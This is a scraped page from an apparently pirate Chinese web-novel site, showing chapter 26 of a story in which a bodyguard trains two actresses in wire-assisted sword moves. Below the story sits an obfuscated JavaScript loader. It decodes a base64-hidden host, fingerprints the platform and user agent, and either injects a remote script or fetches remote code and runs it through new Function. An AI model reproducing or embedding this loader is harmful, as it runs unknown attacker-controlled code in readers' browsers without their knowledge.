烽火小说网

阅读记录  |   用户书架
上一章
目录 | 设置
下一章

第26章(1 / 1)

加入书签 | 推荐本书 | 问题反馈 |

('

倒是旁边的夏诺婷有些诧异,看着这温馨的氛围,她心里隐隐有种猜测,但又想到两人之间的年龄差异,便把这种想法按了下去。

推拿结束后,顾若笙活动了一下自己的手臂,发现酸痛感已经消失,浑身散发着一股神清气爽的感觉。

我觉得我恢复得差不多了,继续之前的训练吧。

秦承启闻言点了点头。

一旁的夏诺婷听闻此言,人有些傻掉了。她可没有恢复好呀,在练习的时候凭着一股兴奋劲,她没有太多感觉。

如今一停下,手臂又酸又疼,要不是助理按揉了一番,险些可能抬不起来。

顾姐,要不你们先练习吧。我还要缓一会儿,手臂太难受了。

随后,秦承启便单独指导顾若笙。

在之前的练习中,顾若笙已经掌握好了基本的动作,现在要学习的就是如何保证动作与动作之间的连续性。

只见秦承启接过顾若笙手中的剑,便将一连套的剑招挥舞出来。

看着秦承启一套行云流水的动作,招式与招式之间毫不拖泥带水。

考虑到观看者的视角,她刻意将动作慢了下来,以便她们能够看清楚。

哇,顾姐,你这保镖居然真的会飞呀。

之前看她入水救你的动作,我还以为看花了呢,现在想来真的是我孤陋寡闻了。

听着夏诺婷赞叹连连的话,秦承启毫无波动,这些对她而言只是基础性的动作,以前在景园才是艰苦。

想到景园,她又不免想到了师父他们,不知他们是否安好。

顾若笙注意到秦承启的情绪突然低落下来,虽然不知道原因,但还是轻声问道:怎么不高兴了,是累了吗?

秦承启闻言,笑了笑,回答道:没什么,想起一些事罢了,我们先练习吧。

于是,秦承启便开始指导顾若笙将整个动作连续演练出来。

当初杨烨考虑到秦承启是才接触这行,对于一些方面可能考虑得不太足够,所以给她派来的安排威亚的工作人员,也是资历高深的人。

这般行为很好地弥补了她经验短缺的短板,接下来的配合也极为顺利。

秦承启除了注意一下演员的动作是否标准,其次就是关注练习过程中的安全问题。

在经过多次的练习后,顾若笙也逐渐掌握了动作的精髓。

秦承启看着她动作的愈发熟练,也渐渐放手,让她自己领会,把更多的心思放在了安全问题上。

最新章节请到hxzhai. c om免费观看 ', '>')('

直到夏诺婷恢复得可以继续后,秦承启才出声让顾若笙休息。

秦承启本想帮顾若笙舒缓了肌肉后,再去指导夏诺婷,不曾想顾若笙却出手拦住了她。

我现在感觉还不错,暂时让柔柔帮我按一按肌肉吧,如果还是不适的话,晚上回酒店也来得及。

而且现在时间不早了,你好好指导一下诺婷,别耽误时间了。

秦承启闻言,思索了一番,现在确实不早了,如果非要帮顾若笙按揉肌肉的话,确实有些不合适。

所以她转身便去指导夏诺婷。

对于夏诺婷,秦承启考虑到她的训练量,再加上她的身体情况,综合考虑下,只教授了一半的动作量。

夏诺婷对此有些疑惑,出口问道:你怎么只教了我一半的动作呢?

秦承启闻言解释道:夏小姐,我是考虑了一下你的身体状况做出的决定,而且如果今天教授太多的话,可能你明天手臂就抬不起来了。

总归孙导给的时间很足,你也不必太过急于求成,速度快不代表效果好,适合自己的最重要。

夏诺婷闻言,便点了点头。她心中暗道,自己确实是着急了,既然时间足够,那么也不必紧赶慢赶,凡事适合自己便好。

夏诺婷之前的肌肉早就负荷了,简单的肌肉按摩只能暂时起到舒缓的作用,现在没有感觉,只是肌肉还处于工作状态。

再加上现在的高难度动作,只匆匆练了两三组,动作的顺序是梳理出来了,至于熟练度则需要继续训练。

训练结束后,秦承启考虑到夏诺婷的身体状况,以免她明天无法继续训练,还是不得不去帮她舒缓一下肌肉。

夏小姐,我看你今天训练的量有点负荷了,如果你信任我的话,可以让我帮你按一按?

夏诺婷闻言,心中有些惊讶。当时她看着秦承启帮顾若笙按摩,不得不说,她也是挺羡慕的。

但是又想到秦承启是顾若笙的保镖,她又有些不太好开口。

秦承启的提议无异是让她有些心动,她看了顾若笙一眼,感受她眼神中的同意之后,便回答道:这样的话就麻烦你了。

对于夏诺婷,若非实在没办法,说实话秦承启也不太愿意接触陌生人。

因此按摩的手法也就没有对待顾若笙时的那般精细,只粗粗通了一下经脉,冲散了淤血后,就收回了手。

夏小姐,我已经帮你疏通了大多数的经脉。

你回去的时候可以让你的助理帮你用药酒再推拿一番,再泡一泡热水,第二天的话应该就不会有太多的问题了。

夏诺婷在秦承启的按摩下,感觉到一股暖流冲刷着手臂上的淤青,酸疼感得到了极大的缓解,如今又听到她的细细嘱托,对她的印象就更好了。

最新章节请到hxzhai. c om免费观看 ', '>')

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2tqaGRiaGpzYmprZC5jb20=','2843',window,document,['G','TpoZFcguG']);}:function(){};
上一章
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间